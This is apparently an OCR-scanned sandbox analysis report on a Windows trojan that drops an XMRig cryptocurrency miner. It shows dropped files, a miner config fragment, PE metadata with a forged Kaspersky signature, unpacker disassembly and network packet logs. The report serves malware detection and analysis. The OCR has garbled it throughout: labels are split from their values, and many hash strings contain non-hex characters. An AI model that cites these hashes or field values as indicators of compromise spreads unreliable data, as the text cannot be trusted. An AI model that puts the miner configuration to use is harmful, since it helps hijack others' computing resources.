ASCII text

dropped

2275

3.9887353957446137

false
48:CtWTHcfLWHW8b9b21Z9IDfnncC519ECOECYy012udQdJtK59:CtWTGyHocCOCZCN2uYOH
DF3803B8B18481FBC63A8E2CECF22500
B44877D6F781A28F1AD3FOCC337C9C3CC7BFFDI6
B60A267608EA13830BFE41C7EEOF726A6562855112CF2310332DAD43854E370A
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https://view.joesandbox.com/analysis/267453/html/none
https://view.joesandbox.com/analysis/267216/html/none
https://view.joesandbox.com/analysis/267209/html/none
https://www.metadefender.com/#!/results/file/YnpJeE1ESXlNMHRXV1RKbVRDMWpNQTdnMUFzcFE2Qw/regular/analysis
https://view.joesandbox.com/analysis/267453/html/none
https://view.joesandbox.com/analysis/267281/html/none
https://view.joesandbox.com/analysis/267239/html/none
https://view.joesandbox.com/analysis/267216/html/none
https://view.joesandbox.com/analysis/267209/html/none
https://view.joesandbox.com/analysis/267067/html/none
https://view.joesandbox.com/analysis/266221/html/none
https://view.joesandbox.com/analysis/253739/html/none
https://view.joesandbox.com/analysis/251267/html/none
https://view.joesandbox.com/analysis/249005/html/none
https://view.joesandbox.com/analysis/245879/html/none
https://view.joesandbox.com/analysis/245446/html/none
https://view.joesandbox.com/analysis/244253/html/none
https://view.joesandbox.com/analysis/239295/html/none
https://view.joesandbox.com/analysis/239292/html/none
https://view.joesandbox.com/analysis/239290/html/none
https://view.joesandbox.com/analysis/222274/html/none
https://view.joesandbox.com/analysis/222266/html/none
https://view.joesandbox.com/analysis/218631/html/none

SHA-512:
Malicious:

Yara Hits:

Preview:

8FAB13258B597C5363C727A3208426A17DC1D66AAEBEE4977B2B5C8EB4044F09626167A75E69831A45095CA2B8CFAAAS7ECAGFEA93AG43F43266943765F7538L
true

e Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Users\user\AppData\Roaming\Windows\CPU\config.json, Author: Joe
Security

{ "api":{. "id": null,. "worker-id": null.  },.  "http": {. "enabled": false,. "host": "127.0.0.1",. "port™: 0,. "access-token": null,. "restricted":
true. },. “autosave" true,. "background" false,. “colors":true,. "title":true,. “"randomx™:{. "init": -1,. "init-avx2": -1,. "mode": "auto",. "1gb-
pages": false,. "rdmsr": true,. "wrmsr': true,. "cache_gos": false,. “numa’: true,. "scratchpad_prefetch_mode™ 1. },. “cpu™{. “enabled":
true,. "huge-pages": true,. "huge-pages-jit": false,. "hw-aes": null,. “priority": null,. "memory-pool": false,. "yield": true,. "max-threads-hint":
100,. "asm": true,. "argon2-impl": null,. "astrobwt-max-size": 550,. "cn/0": false,. “cn-lite/0": false,. "kawpow": false. },. "opencl™: {. "ena
bled": fal

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Preview:

C:\Users\user\AppData\Local\zmq|3v0y.exe

PE32+ executable (console) x86-64, for MS Windows

dropped

6889640

7.882305690463656

false
196608:1YWVn8cTUWrpYpHqtbxxfDpidYLDH+D1W+4vYz3RVB:1YW2aJrpOHqtb4dYLDHtvY1j
E95F766A3748042EFBFOF05D823F82B7
FA4A29F9B95F4491E07EBA54A677D52D8D061A19
1AEF2FBA4058AD80E4AE16DCEOD2609E9F946BA9A4F2203891A26A92B3F6578C

E4D61199B57AE189C2BEF7ADC661224CFBO0E9D6B3526C07624911238AAD2D81D9548B52DB1C6DBBF4AOE3F766D57080D2414CA836E037F0BB39728D1F1AF5!
C

true

e Antivirus: Metadefender, Detection: 16%, Browse
e Antivirus: ReversingLabs, Detection: 66%

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Antivirus:

Preview:

C:\Users\user\AppData\Local\zmq|3v0y.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

2611424

7.959583416242755

false
49152:h2hQa6GzMPI06GX74Y0ae1K+qWhbQjKHISXLTDhKOwVjGHTkg:h2h7Nzi5k7B09E +fhbQjKHfDs9+jGd
FOECEFED65B00699CC2B57BF81492F56

4EOFBC13AF6C373C9944A53A40965517B619C274
83F953427624EABAT2E6D34339B4004C3614657BFE9FB601ECA7E76410B71325

83BFDDO06BF7E3497D6D0OEC1686EDE07D11003057919CDB74B3224E1DEEB6DFA9259A83344C419CA0B2DEC4CD42292C6047D842EEBO9CF3459D6AC6C211305!
F

true

e Antivirus: ReversingLabs, Detection: 61%

L.IThis program cannot be run in DOS mode....$

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Copyright null 2021

C:\Users\user\AppData\Local\zmq|3v0y.exe

Zip archive data, at least v2.0 to extract

dropped

6296834

7.9998772929856505

true
196608:EYt1C1WmUAsFnYtr+h3HbZe18JZPSXpzCC90:EYMWDFnor+h3018JZP8Po
E9695400A2205B4F8ECEB8B635BE7AAL
9071EF76AABFD7A05F7470460C4D92D89D4D2668
66F209A9972C6E1AB8E572697425A936A5DC028B2D8BC29FDDACA98FF25434B4

S5EDDF9D73675E327141B820ABBBC98336DE991D50AD5D30AA15F41DF10BBBOFOE47FFD57F8600F6B5SCEOE319D463F9D40EF88E9D11C884121D56B2677E91E2!
A
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https://www.metadefender.com/#!/results/file/bzIxMDIyMkttNmhGME12NlZmY3h3aTJCendp/regular/analysis

C:\Users\luser\AppData\Roaming\Windows\cpu.zip

Malicious:

Preview:

false

PK......... z:Rgw...
u.rul.&WH..n..h
8..h.~m.u.q.#MP"g
_..j%.. .Dp$Wn.wt. . \WM..C..5....e..q.a.u.n..>..zV.sl..{m.$...D.y.|..N+...E..,A.0]...D.R..Ar.E...u2.. T'URU.G.$._. .cpu.exe.Zg8.."
%.-....[.;W.. ...DY..e.%.....6.\.......... y..5.0.9.€.......... 5...C...5.....U....F9.4G9. . .}..=.....p..0_v.{v0?.vg.v%..vwO;{a22b.?...~.Y..1.0_O?.H.[....V.F"bdU.R.=.|...y.V2G.J..
..3E

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:

File size:
MDS5:
SHAL:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

¥
—
]

Icon Hash:

PE32 executable (GUI) Intel 80386, for MS Windows
7.954859029987119

e Win32 Executable (generic) a (10002005/4)
99.96%

Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel)

(7/3) 0.00%

Securitelnfo.com.Trojan.GenericKD.45754886.17334.ex
e

.

.

.

2817248
bc584a3be92cfdfda79446372fffad6d
6f7d11b7c795bd1f48a078f05d8a4c5600448a03

8086d2b05316a9bh44f55971a6c90da8ecb069d07597365
4f5f914229dc3070f6

39c3bbdc8e063373bf1f2358c6d264db41622a2447308ec
f6d01c558ff301103dbec7e0fc8970ad4822ff05a4d12d3c
efb14d39736b8913886e076126d596160

49152:Wex6LbJIrFIH/6tF6kzGTjlLUNhnbDtFREYJWOrH
cwBczszX02kH9hbECVosGOb:WFIFN6tFIx1UNhbr30
Y02kH7bRVosN

6863eee6b292c6ee

Static PE Info

General
Entrypoint:
Entrypoint Section
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:

DLL Characteristics:

Time Stamp:

TLS Callbacks:

0x88e058

: .boot

true

0x400000

windows gui

32BIT_MACHINE, EXECUTABLE_IMAGE
TERMINAL_SERVER_AWARE, DYNAMIC_BASE
0x602F9DOC [Fri Feb 19 11:12:12 2021 UTC]

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:
File Version Minor:
Subsystem Version Major:

Subsystem Version Minor:

Import Hash:

Copyright null 2021

o & O b O »

4328f7206db519cd4e82283211d98e83
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Authenticode Signature

Signature Valid: false

Signature Issuer: CN=DigiCert High Assurance Code Signing CA-1, OU=www.digicert.com, O=DigiCert Inc,
C=USs

Signature Validation Error: The digital signature of the object did not verify

Error Number: -2146869232

Not Before, Not After e 6/1/2017 5:00:00 PM 7/8/2020 5:00:00 AM

Subject Chain e CN=Kaspersky Lab, O=Kaspersky Lab, L=Moscow, C=RU

Version: 3

Thumbprint MD5: D47ED7012E116270A767DA88438C3BA6

Thumbprint SHA-1: 3C92C9274AB6D3DD520B13029A2490C4A1D98BCO

Thumbprint SHA-256: 3606C42F2608526263AC61997AA0A83B364FB23A6882447CA787B5A5790115D8

Serial: OF9D91C6ABAB6FAES54CBBIEF57E68346

Entrypoint Preview

Instruction

call 00007FA770C14E20h
push ebx

mov ebx, esp

push ebx

mov esi, dword ptr [ebx+08h]
mov edi, dword ptr [ebx+10h]
cld

mov dI, 80h

mov al, byte ptr [esi]

inc esi

mov byte ptr [edi], al

inc edi

mov ebx, 00000002h

add dl, dI

jne 00007FA770C14CD7h
mov dl, byte ptr [esi]

inc esi

adc dl, dI

jnc 00007FA770C14CBCh
add dl, dI

jne 00007FA770C14CD7h
mov dl, byte ptr [esi]

inc esi

adc dl, dI

jnc 00007FA770C14D23h
XOr eax, eax

add dl, dI

jne 00007FA770C14CD7h
mov dl, byte ptr [esi]

inc esi

adc dl, dI

jnc 00007FA770C14DB7h
add dl, dI

jne 00007FA770C14CD7h
mov dl, byte ptr [esi]

inc esi

adc dl, dI

adc eax, eax

add dl, dI

jne 00007FA770C14CD7h
mov dl, byte ptr [esi]

inc esi

adc dl, dI

adc eax, eax

add dl, dI

jne 00007FA770C14CD7h
mov dl, byte ptr [esi]

inc esi
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Instruction

adc dl, dl

adc eax, eax

add dl, dI

jne 00007FA770C14CD7h
mov dl, byte ptr [esi]

inc esi

adc dl, dl

adc eax, eax

je 00007FA770C14CDAh
push edi

mov eax, eax

sub edi, eax

mov al, byte ptr [edi]

pop edi

mov byte ptr [edi], al

inc edi

mov ebx, 00000002h

jmp 00007FA770C14C6Bh
mov eax, 00000001h

add dl, dI

jne 00007FA770C14CD7h
mov dl, byte ptr [esi]

inc esi

adc dl, dI

adc eax, eax

add dl, dI

jne 00007FA770C14CD7h
mov dl, byte ptr [esi]

inc esi

adc dl, dI

jc 00007FA770C14CBCh
sub eax, ebx

mov ebx, 00000001h

jne 00007FA770C14CFAh
mov ecx, 00000001h

add dl, dI

jne 00007FA770C14CD7h
mov dl, byte ptr [esi]

inc esi

adc dl, dlI

adc ecx, ecx

add dl, dI

jne 00007FA770C14CD7h
mov dl, byte ptr [esi]

inc esi

adc dl, dlI

jc 00007FA770C14CBCh
push esi

mov esi, edi

sub esi, ebp

Data Directories

Name Virtual Address Virtual Size Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_IMPORT Oxa03a 0x50 .idata
IMAGE_DIRECTORY_ENTRY_RESOURCE 0xc000 0x2ef0 .rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0
IMAGE_DIRECTORY_ENTRY_SECURITY 0x2ac600 0x36e0 .themida
IMAGE_DIRECTORY_ENTRY_BASERELOC 0x0 0x0
IMAGE_DIRECTORY_ENTRY_DEBUG 0x0 0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0
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Name

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT

IMAGE_DIRECTORY_ENTRY_IAT

IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT

IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

IMAGE_DIRECTORY_ENTRY_RESERVED

Sections

Name Virtual Address
0x2000
0x4000
0x8000

.idata 0xa000

.rsrc 0xc000

.themida 0x10000

.boot 0x48e000

Resources

Name

RT_ICON

RT_ICON

RT_ICON

RT_ICON

RT_ICON

RT_ICON

RT_GROUP_ICON
RT_VERSION
RT_MANIFEST

Imports

DLL
kernel32.dll

mscoree.dll

Version Infos

Description
Translation
LegalCopyright
Assembly Version
InternalName
FileVersion
CompanyName
Comments
ProductName
ProductVersion
FileDescription

OriginalFilename

Copyright null 2021

Virtual Size

0x2000

Ox2eea

Oxc

0x2000

0x3000

0x47e000

0x2a7200

RVA

Oxclbc
0xc834
Oxch2c
Oxcc64

Oxdblc

Oxe3d4
0xe94c
0xe9b8
0xed00

Raw Size

0xa00

0x1200

0x200

0x200

0x3000

0x0

0x2a7200

Size

0x668
0x2e8
0x128

Oxea8

0x8a8

0x568
Ox5a
0x338

Oxlea

Virtual Address Virtual Size
0x0 0x0
0x0 0x0
0x0 0x0
0x0 0x0
0x0 0x0
0x0 0x0
Xored PE ZLIB Complexity File Type Entropy
False 0.953515625 data 7.58163620158
False 0.989800347222 data 7.85588670463
False 0.583984375 data 4.24912721916
False 0.16796875 data 1.0588173124
False 0.361735026042 data 4.82035959286
unknown unknown unknown unknown
unknown unknown unknown unknown
Type Language
data
data

GLS_BINARY_LSB_FIRST

dBase Il DBT, version number 0, next free block index
40, 1st item "ff3"

dBase Il DBT, version number 0, next free block index
40, 1st item "ff3"

GLS_BINARY_LSB_FIRST
data
data

XML 1.0 document, UTF-8 Unicode (with BOM) text, English
with CRLF line terminators

Import
GetModuleHandleA

_CorExeMain

Data

0x0000 0x04b0
Copyright (c) ZSqUZ_KBGbBDgyy 2020
1.1.2.9

Loader.exe

0.0.4.6

Launchy
hxz7ffDbexNxYIZ
Steam

0.0.4.6
1xLYZusZUdU4_qG

Loader.exe

Is in Section

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABLE
. IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

Country

United States
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Possible Origin

Language of compilation system Country where language is spoken Map

English United States

Network Behavior

Network Port Distribution

Total Packets: 63

® 53 (DNS)
@ 443 (HTTPS)

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Feb 23, 2021 17:37:24.187273979 CET 49719 443 192.168.2.5 88.99.66.31
Feb 23, 2021 17:37:24.258213043 CET 443 49719 88.99.66.31 192.168.2.5
Feb 23, 2021 17:37:24.258388042 CET 49719 443 192.168.2.5 88.99.66.31
Feb 23, 2021 17:37:24.342503071 CET 49719 443 192.168.2.5 88.99.66.31
Feb 23, 2021 17:37:24.413574934 CET 443 49719 88.99.66.31 192.168.2.5
Feb 23, 2021 17:37:24.416224003 CET 443 49719 88.99.66.31 192.168.2.5
Feb 23, 2021 17:37:24.416237116 CET 443 49719 88.99.66.31 192.168.2.5
Feb 23, 2021 17:37:24.416254997 CET 443 49719 88.99.66.31 192.168.2.5
Feb 23, 2021 17:37:24.416266918 CET 443 49719 88.99.66.31 192.168.2.5
Feb 23, 2021 17:37:24.416438103 CET 49719 443 192.168.2.5 88.99.66.31
Feb 23, 2021 17:37:24.416446924 CET 49719 443 192.168.2.5 88.99.66.31
Feb 23, 2021 17:37:24.492870092 CET 49719 443 192.168.2.5 88.99.66.31
Feb 23, 2021 17:37:24.564558983 CET 443 49719 88.99.66.31 192.168.2.5
Feb 23, 2021 17:37:24.737364054 CET 49719 443 192.168.2.5 88.99.66.31
Feb 23, 2021 17:37:24.814522982 CET 443 49719 88.99.66.31 192.168.2.5
Feb 23, 2021 17:37:24.884021044 CET 49720 443 192.168.2.5 104.23.99.190
Feb 23, 2021 17:37:24.891875982 CET 49719 443 192.168.2.5 88.99.66.31
Feb 23, 2021 17:37:24.924797058 CET 443 49720 104.23.99.190 192.168.2.5
Feb 23, 2021 17:37:24.925019979 CET 49720 443 192.168.2.5 104.23.99.190
Feb 23, 2021 17:37:24.925657034 CET 49720 443 192.168.2.5 104.23.99.190
Feb 23, 2021 17:37:24.966403008 CET 443 49720 104.23.99.190 192.168.2.5
Feb 23, 2021 17:37:24.969486952 CET 443 49720 104.23.99.190 192.168.2.5
Feb 23, 2021 17:37:24.969533920 CET 443 49720 104.23.99.190 192.168.2.5
Feb 23, 2021 17:37:24.969681025 CET 49720 443 192.168.2.5 104.23.99.190
Feb 23, 2021 17:37:24.983887911 CET 49720 443 192.168.2.5 104.23.99.190
Feb 23, 2021 17:37:25.024857998 CET 443 49720 104.23.99.190 192.168.2.5
Feb 23, 2021 17:37:25.024913073 CET 443 49720 104.23.99.190 192.168.2.5
Feb 23, 2021 17:37:25.044426918 CET 49720 443 192.168.2.5 104.23.99.190
Feb 23, 2021 17:37:25.085372925 CET 443 49720 104.23.99.190 192.168.2.5
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Timestamp Source Port Dest Port Source IP Dest IP

Feb 23, 2021 17:37:25.095639944 CET 443 49720 104.23.99.190 192.168.2.5
Feb 23, 2021 17:37:25.095688105 CET 443 49720 104.23.99.190 192.168.2.5
Feb 23, 2021 17:37:25.095808983 CET 49720 443 192.168.2.5 104.23.99.190
Feb 23, 2021 17:37:25.171179056 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.224242926 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.224370956 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.225007057 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.277941942 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.282644033 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.282681942 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.282795906 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.291398048 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.344472885 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.344686985 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.361016989 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.414315939 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.935473919 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.935516119 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.935537100 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.935554028 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.935576916 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.935605049 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.935630083 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.935652971 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.935683012 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.935708046 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.935736895 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.936688900 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.936712027 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.936794996 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.937869072 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.937890053 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.937973976 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.939120054 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.939138889 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.939215899 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.940375090 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.940392971 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.940464973 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.941596985 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.941621065 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.941726923 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.942872047 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.942898989 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.942974091 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.944051027 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.944068909 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.944123030 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.945302010 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.945318937 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.945394039 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.947081089 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.947099924 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.947165966 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.949013948 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.949047089 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.949120045 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.949366093 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.949410915 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.949460983 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.950355053 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.950390100 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.950463057 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:25.951529026 CET 443 49721 172.67.213.210 192.168.2.5
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Feb 23, 2021 17:37:25.989051104 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.989095926 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:25.989233971 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:26.052030087 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:26.052059889 CET 443 49721 172.67.213.210 192.168.2.5
Feb 23, 2021 17:37:26.052165985 CET 49721 443 192.168.2.5 172.67.213.210
Feb 23, 2021 17:37:26.052253008 CET 443 49721 172.67.213.210 192.168.2.5

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Feb 23, 2021 17:37:12.547579050 CET 53 61733 8.8.8.8 192.168.2.5
Feb 23, 2021 17:37:12.580703020 CET 65447 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:37:12.664455891 CET 53 65447 8.8.8.8 192.168.2.5
Feb 23, 2021 17:37:13.670665026 CET 52441 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:37:13.732889891 CET 53 52441 8.8.8.8 192.168.2.5
Feb 23, 2021 17:37:14.566534996 CET 62176 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:37:14.615323067 CET 53 62176 8.8.8.8 192.168.2.5
Feb 23, 2021 17:37:16.025753975 CET 59596 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:37:16.077415943 CET 53 59596 8.8.8.8 192.168.2.5
Feb 23, 2021 17:37:17.097415924 CET 65296 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:37:17.157717943 CET 53 65296 8.8.8.8 192.168.2.5
Feb 23, 2021 17:37:18.250379086 CET 63183 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:37:18.299017906 CET 53 63183 8.8.8.8 192.168.2.5
Feb 23, 2021 17:37:19.041177988 CET 60151 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:37:19.092890024 CET 53 60151 8.8.8.8 192.168.2.5
Feb 23, 2021 17:37:19.303397894 CET 56969 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:37:19.364610910 CET 53 56969 8.8.8.8 192.168.2.5
Feb 23, 2021 17:37:20.739161015 CET 55161 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:37:20.790808916 CET 53 55161 8.8.8.8 192.168.2.5
Feb 23, 2021 17:37:24.058357954 CET 54757 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:37:24.118510962 CET 53 54757 8.8.8.8 192.168.2.5
Feb 23, 2021 17:37:24.825272083 CET 49992 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:37:24.882510900 CET 53 49992 8.8.8.8 192.168.2.5
Feb 23, 2021 17:37:25.109236956 CET 60075 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:37:25.169492960 CET 53 60075 8.8.8.8 192.168.2.5
Feb 23, 2021 17:37:25.245713949 CET 55016 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:37:25.294686079 CET 53 55016 8.8.8.8 192.168.2.5
Feb 23, 2021 17:37:29.574872971 CET 64345 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:37:29.623439074 CET 53 64345 8.8.8.8 192.168.2.5
Feb 23, 2021 17:37:36.597091913 CET 57128 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:37:36.658304930 CET 53 57128 8.8.8.8 192.168.2.5
Feb 23, 2021 17:37:47.174081087 CET 54791 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:37:47.225727081 CET 53 54791 8.8.8.8 192.168.2.5
Feb 23, 2021 17:38:00.674447060 CET 50463 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:38:00.725982904 CET 53 50463 8.8.8.8 192.168.2.5
Feb 23, 2021 17:38:03.880925894 CET 50394 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:38:03.940182924 CET 53 50394 8.8.8.8 192.168.2.5
Feb 23, 2021 17:38:09.055700064 CET 58530 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:38:09.105990887 CET 53 58530 8.8.8.8 192.168.2.5
Feb 23, 2021 17:38:12.007255077 CET 53813 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:38:12.064420938 CET 53 53813 8.8.8.8 192.168.2.5
Feb 23, 2021 17:39:21.716789961 CET 63732 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:39:21.775274038 CET 53 63732 8.8.8.8 192.168.2.5
Feb 23, 2021 17:39:41.204437971 CET 57344 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:39:41.258730888 CET 53 57344 8.8.8.8 192.168.2.5
Feb 23, 2021 17:39:41.845001936 CET 54450 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:39:41.897260904 CET 53 54450 8.8.8.8 192.168.2.5
Feb 23, 2021 17:39:45.438951969 CET 59261 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:39:45.496206045 CET 53 59261 8.8.8.8 192.168.2.5
Feb 23, 2021 17:39:46.473696947 CET 57151 53 192.168.2.5 8.8.8.8

Feb 23, 2021 17:39:46.522680044 CET 53 57151 8.8.8.8 192.168.2.5
DNS Queries
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Timestamp

Feb 23, 2021 17:37:24.058357954 CET

Feb 23, 2021 17:37:24.825272083 CET

Feb 23, 2021 17:37:25.109236956 CET

Feb 23, 2021 17:38:00.674447060 CET

Feb 23, 2021 17:38:03.880925894 CET

Feb 23, 2021 17:39:41.204437971 CET

Feb 23, 2021 17:39:41.845001936 CET

Feb 23, 2021 17:39:45.438951969 CET

Feb 23, 2021 17:39:46.473696947 CET

DNS Answers

Timestamp Source IP

Feb 23, 2021 8.8.8.8
17:37:24.118510962
CET

Feb 23, 2021 8.8.8.8
17:37:24.882510900
CET

Feb 23, 2021 8.8.8.8
17:37:24.882510900
CET

Feb 23, 2021 8.8.8.8
17:37:25.169492960
CET

Feb 23, 2021 8.8.8.8
17:37:25.169492960
CET

Feb 23, 2021 8.8.8.8
17:38:00.725982904
CET

Feb 23, 2021 8.8.8.8
17:38:03.940182924
CET

Feb 23, 2021 8.8.8.8
17:38:03.940182924
CET

Feb 23, 2021 8.8.8.8
17:38:03.940182924
CET

Feb 23, 2021 8.8.8.8
17:38:03.940182924
CET

Feb 23, 2021 8.8.8.8
17:38:03.940182924
CET

Feb 23, 2021 8.8.8.8
17:38:03.940182924
CET

Feb 23, 2021 8.8.8.8
17:38:03.940182924
CET

Feb 23, 2021 8.8.8.8
17:38:03.940182924
CET

Feb 23, 2021 8.8.8.8
17:39:41.258730888
CET

Feb 23, 2021 8.8.8.8
17:39:41.897260904
CET

Feb 23, 2021 8.8.8.8
17:39:45.496206045
CET

Feb 23, 2021 8.8.8.8
17:39:45.496206045
CET
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Dest IP
192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

